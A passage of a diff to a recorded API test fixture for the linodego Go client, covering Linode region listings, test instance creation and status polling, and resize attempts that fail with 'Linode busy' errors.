"ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:49 GMT + - Fri, 31 May 2024 17:43:46 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-f615x781lcrr","root_pass":"9(1V,yM@g9=djrb8k~Vp7-86/|J9''aWK4B^x8Uj81\\K,NAf`oJWH2f1M,3{Yw`9z","image":"linode/debian9","booted":true}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-x2i0j1825hbn","root_pass":"3l;P4f8i''q5l+9\u003cJ`Yx9]6#y1\\ZXmr95)dc7kW$.WtC/5b+|Z65F#tHS1EBU2*Xu","image":"linode/debian9","firewall_id":501419,"booted":true}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933836, "label": "go-test-ins-f615x781lcrr", "group": "", "status": + body: '{"id": 59542928, "label": "go-test-ins-x2i0j1825hbn", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.253.240"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.63.57"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": false}' + "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "743" + - "765" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:50 GMT + - Fri, 31 May 2024 17:43:47 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -330,18 +381,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933836 + url: https://api.linode.com/v4beta/linode/instances/59542928 method: GET response: - body: '{"id": 54933836, "label": "go-test-ins-f615x781lcrr", "group": "", "status": + body: '{"id": 59542928, "label": "go-test-ins-x2i0j1825hbn", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.253.240"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.63.57"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": false}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -358,13 +410,13 @@ interactions: Connection: - keep-alive Content-Length: - - "743" + - "781" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:06 GMT + - Fri, 31 May 2024 17:44:02 GMT Pragma: - no-cache Strict-Transport-Security: @@ -380,7 +432,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -398,18 +453,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933836 + url: https://api.linode.com/v4beta/linode/instances/59542928 method: GET response: - body: '{"id": 54933836, "label": "go-test-ins-f615x781lcrr", "group": "", "status": + body: '{"id": 59542928, "label": "go-test-ins-x2i0j1825hbn", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.253.240"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.63.57"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": false}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -426,13 +482,13 @@ interactions: Connection: - keep-alive Content-Length: - - "743" + - "781" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:21 GMT + - Fri, 31 May 2024 17:44:17 GMT Pragma: - no-cache Strict-Transport-Security: @@ -448,7 +504,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -466,18 +525,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933836 + url: https://api.linode.com/v4beta/linode/instances/59542928 method: GET response: - body: '{"id": 54933836, "label": "go-test-ins-f615x781lcrr", "group": "", "status": + body: '{"id": 59542928, "label": "go-test-ins-x2i0j1825hbn", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.253.240"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.63.57"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": false}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -494,13 +554,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "776" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:36 GMT + - Fri, 31 May 2024 17:44:32 GMT Pragma: - no-cache Strict-Transport-Security: @@ -516,7 +576,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -534,18 +597,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933836 + url: https://api.linode.com/v4beta/linode/instances/59542928 method: GET response: - body: '{"id": 54933836, "label": "go-test-ins-f615x781lcrr", "group": "", "status": + body: '{"id": 59542928, "label": "go-test-ins-x2i0j1825hbn", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.253.240"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.63.57"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": false}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "055765a37008ceb607a77e652fa584515bbac9e1", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -562,13 +626,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "776" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:17:51 GMT + - Fri, 31 May 2024 17:44:47 GMT Pragma: - no-cache Strict-Transport-Security: @@ -584,7 +648,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -602,7 +669,97 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933836/resize + url: https://api.linode.com/v4beta/linode/instances/59542928/resize + method: POST + response: + body: '{"errors": [{"reason": "Linode busy."}]}' + headers: + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Cache-Control: + - max-age=0, no-cache, no-store + Content-Length: + - "40" + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 17:44:47 GMT + Pragma: + - no-cache + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Frame-Options: + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + status: 400 Bad Request + code: 400 + duration: "" +- request: + body: '{"type":"g6-standard-1","migration_type":"warm"}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542928/resize + method: POST + response: + body: '{"errors": [{"reason": "Linode busy."}]}' + headers: + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + 